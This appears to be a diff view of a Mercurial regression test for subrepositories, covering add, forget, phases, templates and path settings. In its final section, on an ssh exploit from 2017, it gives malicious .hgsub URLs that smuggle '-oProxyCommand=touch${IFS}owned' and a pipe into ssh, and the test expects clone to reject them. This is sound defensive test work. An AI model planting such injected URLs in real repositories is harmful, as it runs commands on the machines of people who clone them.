1326 Test subrepo already at intended revision:
1326 Test subrepo already at intended revision:
1327 $ cd s
1327 $ cd s
1328 $ hg update fc627a69481f
1328 $ hg update fc627a69481f
1329 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1329 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1330 $ cd ..
1330 $ cd ..
1331 $ hg update 11
1331 $ hg update 11
1332 subrepository s diverged (local revision: 12a213df6fa9, remote revision: fc627a69481f)
1332 subrepository s diverged (local revision: 12a213df6fa9, remote revision: fc627a69481f)
1333 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1333 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1334 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1334 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1335 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1335 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1336 $ hg id -n
1336 $ hg id -n
1337 11+
1337 11+
1338 $ hg -R s id
1338 $ hg -R s id
1339 fc627a69481f
1339 fc627a69481f
1340 $ hg -R t id
1340 $ hg -R t id
1341 e95bcfa18a35
1341 e95bcfa18a35
1342
1342
1343 Test that removing .hgsubstate doesn't break anything:
1343 Test that removing .hgsubstate doesn't break anything:
1344
1344
1345 $ hg rm -f .hgsubstate
1345 $ hg rm -f .hgsubstate
1346 $ hg ci -mrm
1346 $ hg ci -mrm
1347 nothing changed
1347 nothing changed
1348 [1]
1348 [1]
1349 $ hg log -vr tip
1349 $ hg log -vr tip
1350 changeset: 13:925c17564ef8
1350 changeset: 13:925c17564ef8
1351 tag: tip
1351 tag: tip
1352 user: test
1352 user: test
1353 date: Thu Jan 01 00:00:00 1970 +0000
1353 date: Thu Jan 01 00:00:00 1970 +0000
1354 files: .hgsubstate
1354 files: .hgsubstate
1355 description:
1355 description:
1356 13
1356 13
1357
1357
1358
1358
1359
1359
1360 Test that removing .hgsub removes .hgsubstate:
1360 Test that removing .hgsub removes .hgsubstate:
1361
1361
1362 $ hg rm .hgsub
1362 $ hg rm .hgsub
1363 $ hg ci -mrm2
1363 $ hg ci -mrm2
1364 created new head
1364 created new head
1365 $ hg log -vr tip
1365 $ hg log -vr tip
1366 changeset: 14:2400bccd50af
1366 changeset: 14:2400bccd50af
1367 tag: tip
1367 tag: tip
1368 parent: 11:365661e5936a
1368 parent: 11:365661e5936a
1369 user: test
1369 user: test
1370 date: Thu Jan 01 00:00:00 1970 +0000
1370 date: Thu Jan 01 00:00:00 1970 +0000
1371 files: .hgsub .hgsubstate
1371 files: .hgsub .hgsubstate
1372 description:
1372 description:
1373 rm2
1373 rm2
1374
1374
1375
1375
1376 Test issue3153: diff -S with deleted subrepos
1376 Test issue3153: diff -S with deleted subrepos
1377
1377
1378 $ hg diff --nodates -S -c .
1378 $ hg diff --nodates -S -c .
1379 diff -r 365661e5936a -r 2400bccd50af .hgsub
1379 diff -r 365661e5936a -r 2400bccd50af .hgsub
1380 --- a/.hgsub
1380 --- a/.hgsub
1381 +++ /dev/null
1381 +++ /dev/null
1382 @@ -1,2 +0,0 @@
1382 @@ -1,2 +0,0 @@
1383 -s = s
1383 -s = s
1384 -t = t
1384 -t = t
1385 diff -r 365661e5936a -r 2400bccd50af .hgsubstate
1385 diff -r 365661e5936a -r 2400bccd50af .hgsubstate
1386 --- a/.hgsubstate
1386 --- a/.hgsubstate
1387 +++ /dev/null
1387 +++ /dev/null
1388 @@ -1,2 +0,0 @@
1388 @@ -1,2 +0,0 @@
1389 -fc627a69481fcbe5f1135069e8a3881c023e4cf5 s
1389 -fc627a69481fcbe5f1135069e8a3881c023e4cf5 s
1390 -e95bcfa18a358dc4936da981ebf4147b4cad1362 t
1390 -e95bcfa18a358dc4936da981ebf4147b4cad1362 t
1391
1391
1392 Test behavior of add for explicit path in subrepo:
1392 Test behavior of add for explicit path in subrepo:
1393 $ cd ..
1393 $ cd ..
1394 $ hg init explicit
1394 $ hg init explicit
1395 $ cd explicit
1395 $ cd explicit
1396 $ echo s = s > .hgsub
1396 $ echo s = s > .hgsub
1397 $ hg add .hgsub
1397 $ hg add .hgsub
1398 $ hg init s
1398 $ hg init s
1399 $ hg ci -m0
1399 $ hg ci -m0
1400 Adding with an explicit path in a subrepo adds the file
1400 Adding with an explicit path in a subrepo adds the file
1401 $ echo c1 > f1
1401 $ echo c1 > f1
1402 $ echo c2 > s/f2
1402 $ echo c2 > s/f2
1403 $ hg st -S
1403 $ hg st -S
1404 ? f1
1404 ? f1
1405 ? s/f2
1405 ? s/f2
1406 $ hg add s/f2
1406 $ hg add s/f2
1407 $ hg st -S
1407 $ hg st -S
1408 A s/f2
1408 A s/f2
1409 ? f1
1409 ? f1
1410 $ hg ci -R s -m0
1410 $ hg ci -R s -m0
1411 $ hg ci -Am1
1411 $ hg ci -Am1
1412 adding f1
1412 adding f1
1413 Adding with an explicit path in a subrepo with -S has the same behavior
1413 Adding with an explicit path in a subrepo with -S has the same behavior
1414 $ echo c3 > f3
1414 $ echo c3 > f3
1415 $ echo c4 > s/f4
1415 $ echo c4 > s/f4
1416 $ hg st -S
1416 $ hg st -S
1417 ? f3
1417 ? f3
1418 ? s/f4
1418 ? s/f4
1419 $ hg add -S s/f4
1419 $ hg add -S s/f4
1420 $ hg st -S
1420 $ hg st -S
1421 A s/f4
1421 A s/f4
1422 ? f3
1422 ? f3
1423 $ hg ci -R s -m1
1423 $ hg ci -R s -m1
1424 $ hg ci -Ama2
1424 $ hg ci -Ama2
1425 adding f3
1425 adding f3
1426 Adding without a path or pattern silently ignores subrepos
1426 Adding without a path or pattern silently ignores subrepos
1427 $ echo c5 > f5
1427 $ echo c5 > f5
1428 $ echo c6 > s/f6
1428 $ echo c6 > s/f6
1429 $ echo c7 > s/f7
1429 $ echo c7 > s/f7
1430 $ hg st -S
1430 $ hg st -S
1431 ? f5
1431 ? f5
1432 ? s/f6
1432 ? s/f6
1433 ? s/f7
1433 ? s/f7
1434 $ hg add
1434 $ hg add
1435 adding f5
1435 adding f5
1436 $ hg st -S
1436 $ hg st -S
1437 A f5
1437 A f5
1438 ? s/f6
1438 ? s/f6
1439 ? s/f7
1439 ? s/f7
1440 $ hg ci -R s -Am2
1440 $ hg ci -R s -Am2
1441 adding f6
1441 adding f6
1442 adding f7
1442 adding f7
1443 $ hg ci -m3
1443 $ hg ci -m3
1444 Adding without a path or pattern with -S also adds files in subrepos
1444 Adding without a path or pattern with -S also adds files in subrepos
1445 $ echo c8 > f8
1445 $ echo c8 > f8
1446 $ echo c9 > s/f9
1446 $ echo c9 > s/f9
1447 $ echo c10 > s/f10
1447 $ echo c10 > s/f10
1448 $ hg st -S
1448 $ hg st -S
1449 ? f8
1449 ? f8
1450 ? s/f10
1450 ? s/f10
1451 ? s/f9
1451 ? s/f9
1452 $ hg add -S
1452 $ hg add -S
1453 adding f8
1453 adding f8
1454 adding s/f10 (glob)
1454 adding s/f10 (glob)
1455 adding s/f9 (glob)
1455 adding s/f9 (glob)
1456 $ hg st -S
1456 $ hg st -S
1457 A f8
1457 A f8
1458 A s/f10
1458 A s/f10
1459 A s/f9
1459 A s/f9
1460 $ hg ci -R s -m3
1460 $ hg ci -R s -m3
1461 $ hg ci -m4
1461 $ hg ci -m4
1462 Adding with a pattern silently ignores subrepos
1462 Adding with a pattern silently ignores subrepos
1463 $ echo c11 > fm11
1463 $ echo c11 > fm11
1464 $ echo c12 > fn12
1464 $ echo c12 > fn12
1465 $ echo c13 > s/fm13
1465 $ echo c13 > s/fm13
1466 $ echo c14 > s/fn14
1466 $ echo c14 > s/fn14
1467 $ hg st -S
1467 $ hg st -S
1468 ? fm11
1468 ? fm11
1469 ? fn12
1469 ? fn12
1470 ? s/fm13
1470 ? s/fm13
1471 ? s/fn14
1471 ? s/fn14
1472 $ hg add 'glob:**fm*'
1472 $ hg add 'glob:**fm*'
1473 adding fm11
1473 adding fm11
1474 $ hg st -S
1474 $ hg st -S
1475 A fm11
1475 A fm11
1476 ? fn12
1476 ? fn12
1477 ? s/fm13
1477 ? s/fm13
1478 ? s/fn14
1478 ? s/fn14
1479 $ hg ci -R s -Am4
1479 $ hg ci -R s -Am4
1480 adding fm13
1480 adding fm13
1481 adding fn14
1481 adding fn14
1482 $ hg ci -Am5
1482 $ hg ci -Am5
1483 adding fn12
1483 adding fn12
1484 Adding with a pattern with -S also adds matches in subrepos
1484 Adding with a pattern with -S also adds matches in subrepos
1485 $ echo c15 > fm15
1485 $ echo c15 > fm15
1486 $ echo c16 > fn16
1486 $ echo c16 > fn16
1487 $ echo c17 > s/fm17
1487 $ echo c17 > s/fm17
1488 $ echo c18 > s/fn18
1488 $ echo c18 > s/fn18
1489 $ hg st -S
1489 $ hg st -S
1490 ? fm15
1490 ? fm15
1491 ? fn16
1491 ? fn16
1492 ? s/fm17
1492 ? s/fm17
1493 ? s/fn18
1493 ? s/fn18
1494 $ hg add -S 'glob:**fm*'
1494 $ hg add -S 'glob:**fm*'
1495 adding fm15
1495 adding fm15
1496 adding s/fm17 (glob)
1496 adding s/fm17 (glob)
1497 $ hg st -S
1497 $ hg st -S
1498 A fm15
1498 A fm15
1499 A s/fm17
1499 A s/fm17
1500 ? fn16
1500 ? fn16
1501 ? s/fn18
1501 ? s/fn18
1502 $ hg ci -R s -Am5
1502 $ hg ci -R s -Am5
1503 adding fn18
1503 adding fn18
1504 $ hg ci -Am6
1504 $ hg ci -Am6
1505 adding fn16
1505 adding fn16
1506
1506
1507 Test behavior of forget for explicit path in subrepo:
1507 Test behavior of forget for explicit path in subrepo:
1508 Forgetting an explicit path in a subrepo untracks the file
1508 Forgetting an explicit path in a subrepo untracks the file
1509 $ echo c19 > s/f19
1509 $ echo c19 > s/f19
1510 $ hg add s/f19
1510 $ hg add s/f19
1511 $ hg st -S
1511 $ hg st -S
1512 A s/f19
1512 A s/f19
1513 $ hg forget s/f19
1513 $ hg forget s/f19
1514 $ hg st -S
1514 $ hg st -S
1515 ? s/f19
1515 ? s/f19
1516 $ rm s/f19
1516 $ rm s/f19
1517 $ cd ..
1517 $ cd ..
1518
1518
1519 Courtesy phases synchronisation to publishing server does not block the push
1519 Courtesy phases synchronisation to publishing server does not block the push
1520 (issue3781)
1520 (issue3781)
1521
1521
1522 $ cp -R main issue3781
1522 $ cp -R main issue3781
1523 $ cp -R main issue3781-dest
1523 $ cp -R main issue3781-dest
1524 $ cd issue3781-dest/s
1524 $ cd issue3781-dest/s
1525 $ hg phase tip # show we have draft changeset
1525 $ hg phase tip # show we have draft changeset
1526 5: draft
1526 5: draft
1527 $ chmod a-w .hg/store/phaseroots # prevent phase push
1527 $ chmod a-w .hg/store/phaseroots # prevent phase push
1528 $ cd ../../issue3781
1528 $ cd ../../issue3781
1529 $ cat >> .hg/hgrc << EOF
1529 $ cat >> .hg/hgrc << EOF
1530 > [paths]
1530 > [paths]
1531 > default=../issue3781-dest/
1531 > default=../issue3781-dest/
1532 > EOF
1532 > EOF
1533 $ hg push --config devel.legacy.exchange=bundle1
1533 $ hg push --config devel.legacy.exchange=bundle1
1534 pushing to $TESTTMP/issue3781-dest (glob)
1534 pushing to $TESTTMP/issue3781-dest (glob)
1535 pushing subrepo s to $TESTTMP/issue3781-dest/s
1535 pushing subrepo s to $TESTTMP/issue3781-dest/s
1536 searching for changes
1536 searching for changes
1537 no changes found
1537 no changes found
1538 searching for changes
1538 searching for changes
1539 no changes found
1539 no changes found
1540 [1]
1540 [1]
1541 # clean the push cache
1541 # clean the push cache
1542 $ rm s/.hg/cache/storehash/*
1542 $ rm s/.hg/cache/storehash/*
1543 $ hg push # bundle2+
1543 $ hg push # bundle2+
1544 pushing to $TESTTMP/issue3781-dest (glob)
1544 pushing to $TESTTMP/issue3781-dest (glob)
1545 pushing subrepo s to $TESTTMP/issue3781-dest/s
1545 pushing subrepo s to $TESTTMP/issue3781-dest/s
1546 searching for changes
1546 searching for changes
1547 no changes found
1547 no changes found
1548 searching for changes
1548 searching for changes
1549 no changes found
1549 no changes found
1550 [1]
1550 [1]
1551 $ cd ..
1551 $ cd ..
1552
1552
1553 Test phase choice for newly created commit with "phases.subrepochecks"
1553 Test phase choice for newly created commit with "phases.subrepochecks"
1554 configuration
1554 configuration
1555
1555
1556 $ cd t
1556 $ cd t
1557 $ hg update -q -r 12
1557 $ hg update -q -r 12
1558
1558
1559 $ cat >> s/ss/.hg/hgrc <<EOF
1559 $ cat >> s/ss/.hg/hgrc <<EOF
1560 > [phases]
1560 > [phases]
1561 > new-commit = secret
1561 > new-commit = secret
1562 > EOF
1562 > EOF
1563 $ cat >> s/.hg/hgrc <<EOF
1563 $ cat >> s/.hg/hgrc <<EOF
1564 > [phases]
1564 > [phases]
1565 > new-commit = draft
1565 > new-commit = draft
1566 > EOF
1566 > EOF
1567 $ echo phasecheck1 >> s/ss/a
1567 $ echo phasecheck1 >> s/ss/a
1568 $ hg -R s commit -S --config phases.checksubrepos=abort -m phasecheck1
1568 $ hg -R s commit -S --config phases.checksubrepos=abort -m phasecheck1
1569 committing subrepository ss
1569 committing subrepository ss
1570 transaction abort!
1570 transaction abort!
1571 rollback completed
1571 rollback completed
1572 abort: can't commit in draft phase conflicting secret from subrepository ss
1572 abort: can't commit in draft phase conflicting secret from subrepository ss
1573 [255]
1573 [255]
1574 $ echo phasecheck2 >> s/ss/a
1574 $ echo phasecheck2 >> s/ss/a
1575 $ hg -R s commit -S --config phases.checksubrepos=ignore -m phasecheck2
1575 $ hg -R s commit -S --config phases.checksubrepos=ignore -m phasecheck2
1576 committing subrepository ss
1576 committing subrepository ss
1577 $ hg -R s/ss phase tip
1577 $ hg -R s/ss phase tip
1578 3: secret
1578 3: secret
1579 $ hg -R s phase tip
1579 $ hg -R s phase tip
1580 6: draft
1580 6: draft
1581 $ echo phasecheck3 >> s/ss/a
1581 $ echo phasecheck3 >> s/ss/a
1582 $ hg -R s commit -S -m phasecheck3
1582 $ hg -R s commit -S -m phasecheck3
1583 committing subrepository ss
1583 committing subrepository ss
1584 warning: changes are committed in secret phase from subrepository ss
1584 warning: changes are committed in secret phase from subrepository ss
1585 $ hg -R s/ss phase tip
1585 $ hg -R s/ss phase tip
1586 4: secret
1586 4: secret
1587 $ hg -R s phase tip
1587 $ hg -R s phase tip
1588 7: secret
1588 7: secret
1589
1589
1590 $ cat >> t/.hg/hgrc <<EOF
1590 $ cat >> t/.hg/hgrc <<EOF
1591 > [phases]
1591 > [phases]
1592 > new-commit = draft
1592 > new-commit = draft
1593 > EOF
1593 > EOF
1594 $ cat >> .hg/hgrc <<EOF
1594 $ cat >> .hg/hgrc <<EOF
1595 > [phases]
1595 > [phases]
1596 > new-commit = public
1596 > new-commit = public
1597 > EOF
1597 > EOF
1598 $ echo phasecheck4 >> s/ss/a
1598 $ echo phasecheck4 >> s/ss/a
1599 $ echo phasecheck4 >> t/t
1599 $ echo phasecheck4 >> t/t
1600 $ hg commit -S -m phasecheck4
1600 $ hg commit -S -m phasecheck4
1601 committing subrepository s
1601 committing subrepository s
1602 committing subrepository s/ss (glob)
1602 committing subrepository s/ss (glob)
1603 warning: changes are committed in secret phase from subrepository ss
1603 warning: changes are committed in secret phase from subrepository ss
1604 committing subrepository t
1604 committing subrepository t
1605 warning: changes are committed in secret phase from subrepository s
1605 warning: changes are committed in secret phase from subrepository s
1606 created new head
1606 created new head
1607 $ hg -R s/ss phase tip
1607 $ hg -R s/ss phase tip
1608 5: secret
1608 5: secret
1609 $ hg -R s phase tip
1609 $ hg -R s phase tip
1610 8: secret
1610 8: secret
1611 $ hg -R t phase tip
1611 $ hg -R t phase tip
1612 6: draft
1612 6: draft
1613 $ hg phase tip
1613 $ hg phase tip
1614 15: secret
1614 15: secret
1615
1615
1616 $ cd ..
1616 $ cd ..
1617
1617
1618
1618
1619 Test that commit --secret works on both repo and subrepo (issue4182)
1619 Test that commit --secret works on both repo and subrepo (issue4182)
1620
1620
1621 $ cd main
1621 $ cd main
1622 $ echo secret >> b
1622 $ echo secret >> b
1623 $ echo secret >> s/b
1623 $ echo secret >> s/b
1624 $ hg commit --secret --subrepo -m "secret"
1624 $ hg commit --secret --subrepo -m "secret"
1625 committing subrepository s
1625 committing subrepository s
1626 $ hg phase -r .
1626 $ hg phase -r .
1627 6: secret
1627 6: secret
1628 $ cd s
1628 $ cd s
1629 $ hg phase -r .
1629 $ hg phase -r .
1630 6: secret
1630 6: secret
1631 $ cd ../../
1631 $ cd ../../
1632
1632
1633 Test "subrepos" template keyword
1633 Test "subrepos" template keyword
1634
1634
1635 $ cd t
1635 $ cd t
1636 $ hg update -q 15
1636 $ hg update -q 15
1637 $ cat > .hgsub <<EOF
1637 $ cat > .hgsub <<EOF
1638 > s = s
1638 > s = s
1639 > EOF
1639 > EOF
1640 $ hg commit -m "16"
1640 $ hg commit -m "16"
1641 warning: changes are committed in secret phase from subrepository s
1641 warning: changes are committed in secret phase from subrepository s
1642
1642
1643 (addition of ".hgsub" itself)
1643 (addition of ".hgsub" itself)
1644
1644
1645 $ hg diff --nodates -c 1 .hgsubstate
1645 $ hg diff --nodates -c 1 .hgsubstate
1646 diff -r f7b1eb17ad24 -r 7cf8cfea66e4 .hgsubstate
1646 diff -r f7b1eb17ad24 -r 7cf8cfea66e4 .hgsubstate
1647 --- /dev/null
1647 --- /dev/null
1648 +++ b/.hgsubstate
1648 +++ b/.hgsubstate
1649 @@ -0,0 +1,1 @@
1649 @@ -0,0 +1,1 @@
1650 +e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1650 +e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1651 $ hg log -r 1 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1651 $ hg log -r 1 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1652 f7b1eb17ad24 000000000000
1652 f7b1eb17ad24 000000000000
1653 s
1653 s
1654
1654
1655 (modification of existing entry)
1655 (modification of existing entry)
1656
1656
1657 $ hg diff --nodates -c 2 .hgsubstate
1657 $ hg diff --nodates -c 2 .hgsubstate
1658 diff -r 7cf8cfea66e4 -r df30734270ae .hgsubstate
1658 diff -r 7cf8cfea66e4 -r df30734270ae .hgsubstate
1659 --- a/.hgsubstate
1659 --- a/.hgsubstate
1660 +++ b/.hgsubstate
1660 +++ b/.hgsubstate
1661 @@ -1,1 +1,1 @@
1661 @@ -1,1 +1,1 @@
1662 -e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1662 -e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1663 +dc73e2e6d2675eb2e41e33c205f4bdab4ea5111d s
1663 +dc73e2e6d2675eb2e41e33c205f4bdab4ea5111d s
1664 $ hg log -r 2 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1664 $ hg log -r 2 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1665 7cf8cfea66e4 000000000000
1665 7cf8cfea66e4 000000000000
1666 s
1666 s
1667
1667
1668 (addition of entry)
1668 (addition of entry)
1669
1669
1670 $ hg diff --nodates -c 5 .hgsubstate
1670 $ hg diff --nodates -c 5 .hgsubstate
1671 diff -r 7cf8cfea66e4 -r 1f14a2e2d3ec .hgsubstate
1671 diff -r 7cf8cfea66e4 -r 1f14a2e2d3ec .hgsubstate
1672 --- a/.hgsubstate
1672 --- a/.hgsubstate
1673 +++ b/.hgsubstate
1673 +++ b/.hgsubstate
1674 @@ -1,1 +1,2 @@
1674 @@ -1,1 +1,2 @@
1675 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1675 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1676 +60ca1237c19474e7a3978b0dc1ca4e6f36d51382 t
1676 +60ca1237c19474e7a3978b0dc1ca4e6f36d51382 t
1677 $ hg log -r 5 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1677 $ hg log -r 5 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1678 7cf8cfea66e4 000000000000
1678 7cf8cfea66e4 000000000000
1679 t
1679 t
1680
1680
1681 (removal of existing entry)
1681 (removal of existing entry)
1682
1682
1683 $ hg diff --nodates -c 16 .hgsubstate
1683 $ hg diff --nodates -c 16 .hgsubstate
1684 diff -r 8bec38d2bd0b -r f2f70bc3d3c9 .hgsubstate
1684 diff -r 8bec38d2bd0b -r f2f70bc3d3c9 .hgsubstate
1685 --- a/.hgsubstate
1685 --- a/.hgsubstate
1686 +++ b/.hgsubstate
1686 +++ b/.hgsubstate
1687 @@ -1,2 +1,1 @@
1687 @@ -1,2 +1,1 @@
1688 0731af8ca9423976d3743119d0865097c07bdc1b s
1688 0731af8ca9423976d3743119d0865097c07bdc1b s
1689 -e202dc79b04c88a636ea8913d9182a1346d9b3dc t
1689 -e202dc79b04c88a636ea8913d9182a1346d9b3dc t
1690 $ hg log -r 16 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1690 $ hg log -r 16 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1691 8bec38d2bd0b 000000000000
1691 8bec38d2bd0b 000000000000
1692 t
1692 t
1693
1693
1694 (merging)
1694 (merging)
1695
1695
1696 $ hg diff --nodates -c 9 .hgsubstate
1696 $ hg diff --nodates -c 9 .hgsubstate
1697 diff -r f6affe3fbfaa -r f0d2028bf86d .hgsubstate
1697 diff -r f6affe3fbfaa -r f0d2028bf86d .hgsubstate
1698 --- a/.hgsubstate
1698 --- a/.hgsubstate
1699 +++ b/.hgsubstate
1699 +++ b/.hgsubstate
1700 @@ -1,1 +1,2 @@
1700 @@ -1,1 +1,2 @@
1701 fc627a69481fcbe5f1135069e8a3881c023e4cf5 s
1701 fc627a69481fcbe5f1135069e8a3881c023e4cf5 s
1702 +60ca1237c19474e7a3978b0dc1ca4e6f36d51382 t
1702 +60ca1237c19474e7a3978b0dc1ca4e6f36d51382 t
1703 $ hg log -r 9 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1703 $ hg log -r 9 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1704 f6affe3fbfaa 1f14a2e2d3ec
1704 f6affe3fbfaa 1f14a2e2d3ec
1705 t
1705 t
1706
1706
1707 (removal of ".hgsub" itself)
1707 (removal of ".hgsub" itself)
1708
1708
1709 $ hg diff --nodates -c 8 .hgsubstate
1709 $ hg diff --nodates -c 8 .hgsubstate
1710 diff -r f94576341bcf -r 96615c1dad2d .hgsubstate
1710 diff -r f94576341bcf -r 96615c1dad2d .hgsubstate
1711 --- a/.hgsubstate
1711 --- a/.hgsubstate
1712 +++ /dev/null
1712 +++ /dev/null
1713 @@ -1,2 +0,0 @@
1713 @@ -1,2 +0,0 @@
1714 -e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1714 -e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1715 -7af322bc1198a32402fe903e0b7ebcfc5c9bf8f4 t
1715 -7af322bc1198a32402fe903e0b7ebcfc5c9bf8f4 t
1716 $ hg log -r 8 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1716 $ hg log -r 8 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1717 f94576341bcf 000000000000
1717 f94576341bcf 000000000000
1718
1718
1719 Test that '[paths]' is configured correctly at subrepo creation
1719 Test that '[paths]' is configured correctly at subrepo creation
1720
1720
1721 $ cd $TESTTMP/tc
1721 $ cd $TESTTMP/tc
1722 $ cat > .hgsub <<EOF
1722 $ cat > .hgsub <<EOF
1723 > # to clear bogus subrepo path 'bogus=[boguspath'
1723 > # to clear bogus subrepo path 'bogus=[boguspath'
1724 > s = s
1724 > s = s
1725 > t = t
1725 > t = t
1726 > EOF
1726 > EOF
1727 $ hg update -q --clean null
1727 $ hg update -q --clean null
1728 $ rm -rf s t
1728 $ rm -rf s t
1729 $ cat >> .hg/hgrc <<EOF
1729 $ cat >> .hg/hgrc <<EOF
1730 > [paths]
1730 > [paths]
1731 > default-push = /foo/bar
1731 > default-push = /foo/bar
1732 > EOF
1732 > EOF
1733 $ hg update -q
1733 $ hg update -q
1734 $ cat s/.hg/hgrc
1734 $ cat s/.hg/hgrc
1735 [paths]
1735 [paths]
1736 default = $TESTTMP/t/s
1736 default = $TESTTMP/t/s
1737 default-push = /foo/bar/s
1737 default-push = /foo/bar/s
1738 $ cat s/ss/.hg/hgrc
1738 $ cat s/ss/.hg/hgrc
1739 [paths]
1739 [paths]
1740 default = $TESTTMP/t/s/ss
1740 default = $TESTTMP/t/s/ss
1741 default-push = /foo/bar/s/ss
1741 default-push = /foo/bar/s/ss
1742 $ cat t/.hg/hgrc
1742 $ cat t/.hg/hgrc
1743 [paths]
1743 [paths]
1744 default = $TESTTMP/t/t
1744 default = $TESTTMP/t/t
1745 default-push = /foo/bar/t
1745 default-push = /foo/bar/t
1746
1746
1747 $ cd $TESTTMP/t
1747 $ cd $TESTTMP/t
1748 $ hg up -qC 0
1748 $ hg up -qC 0
1749 $ echo 'bar' > bar.txt
1749 $ echo 'bar' > bar.txt
1750 $ hg ci -Am 'branch before subrepo add'
1750 $ hg ci -Am 'branch before subrepo add'
1751 adding bar.txt
1751 adding bar.txt
1752 created new head
1752 created new head
1753 $ hg merge -r "first(subrepo('s'))"
1753 $ hg merge -r "first(subrepo('s'))"
1754 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1754 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1755 (branch merge, don't forget to commit)
1755 (branch merge, don't forget to commit)
1756 $ hg status -S -X '.hgsub*'
1756 $ hg status -S -X '.hgsub*'
1757 A s/a
1757 A s/a
1758 ? s/b
1758 ? s/b
1759 ? s/c
1759 ? s/c
1760 ? s/f1
1760 ? s/f1
1761 $ hg status -S --rev 'p2()'
1761 $ hg status -S --rev 'p2()'
1762 A bar.txt
1762 A bar.txt
1763 ? s/b
1763 ? s/b
1764 ? s/c
1764 ? s/c
1765 ? s/f1
1765 ? s/f1
1766 $ hg diff -S -X '.hgsub*' --nodates
1766 $ hg diff -S -X '.hgsub*' --nodates
1767 diff -r 000000000000 s/a
1767 diff -r 000000000000 s/a
1768 --- /dev/null
1768 --- /dev/null
1769 +++ b/s/a
1769 +++ b/s/a
1770 @@ -0,0 +1,1 @@
1770 @@ -0,0 +1,1 @@
1771 +a
1771 +a
1772 $ hg diff -S --rev 'p2()' --nodates
1772 $ hg diff -S --rev 'p2()' --nodates
1773 diff -r 7cf8cfea66e4 bar.txt
1773 diff -r 7cf8cfea66e4 bar.txt
1774 --- /dev/null
1774 --- /dev/null
1775 +++ b/bar.txt
1775 +++ b/bar.txt
1776 @@ -0,0 +1,1 @@
1776 @@ -0,0 +1,1 @@
1777 +bar
1777 +bar
1778
1778
1779 $ cd ..
1779 $ cd ..
1780
1780
1781 test for ssh exploit 2017-07-25
1781 test for ssh exploit 2017-07-25
1782
1782
1783 $ cat >> $HGRCPATH << EOF
1784 > [ui]
1785 > ssh = sh -c "read l; read l; read l"
1786 > EOF
1787
1783 $ hg init malicious-proxycommand
1788 $ hg init malicious-proxycommand
1784 $ cd malicious-proxycommand
1789 $ cd malicious-proxycommand
1785 $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
1790 $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
1786 $ hg init s
1791 $ hg init s
1787 $ cd s
1792 $ cd s
1788 $ echo init > init
1793 $ echo init > init
1789 $ hg add
1794 $ hg add
1790 adding init
1795 adding init
1791 $ hg commit -m init
1796 $ hg commit -m init
1792 $ cd ..
1797 $ cd ..
1793 $ hg add .hgsub
1798 $ hg add .hgsub
1794 $ hg ci -m 'add subrepo'
1799 $ hg ci -m 'add subrepo'
1795 $ cd ..
1800 $ cd ..
1796 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1801 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1797 updating to branch default
1802 updating to branch default
1798 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
1803 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
1799 [255]
1804 [255]
1800
1805
1801 also check that a percent encoded '-' (%2D) doesn't work
1806 also check that a percent encoded '-' (%2D) doesn't work
1802
1807
1803 $ cd malicious-proxycommand
1808 $ cd malicious-proxycommand
1804 $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
1809 $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
1805 $ hg ci -m 'change url to percent encoded'
1810 $ hg ci -m 'change url to percent encoded'
1806 $ cd ..
1811 $ cd ..
1807 $ rm -r malicious-proxycommand-clone
1812 $ rm -r malicious-proxycommand-clone
1808 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1813 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1809 updating to branch default
1814 updating to branch default
1810 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
1815 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
1811 [255]
1816 [255]
1812
1817
1813 also check for a pipe
1818 also check for a pipe
1814
1819
1815 $ cd malicious-proxycommand
1820 $ cd malicious-proxycommand
1816 $ echo 's = [hg]ssh://fakehost|shell/path' > .hgsub
1821 $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
1817 $ hg ci -m 'change url to pipe'
1822 $ hg ci -m 'change url to pipe'
1818 $ cd ..
1823 $ cd ..
1819 $ rm -r malicious-proxycommand-clone
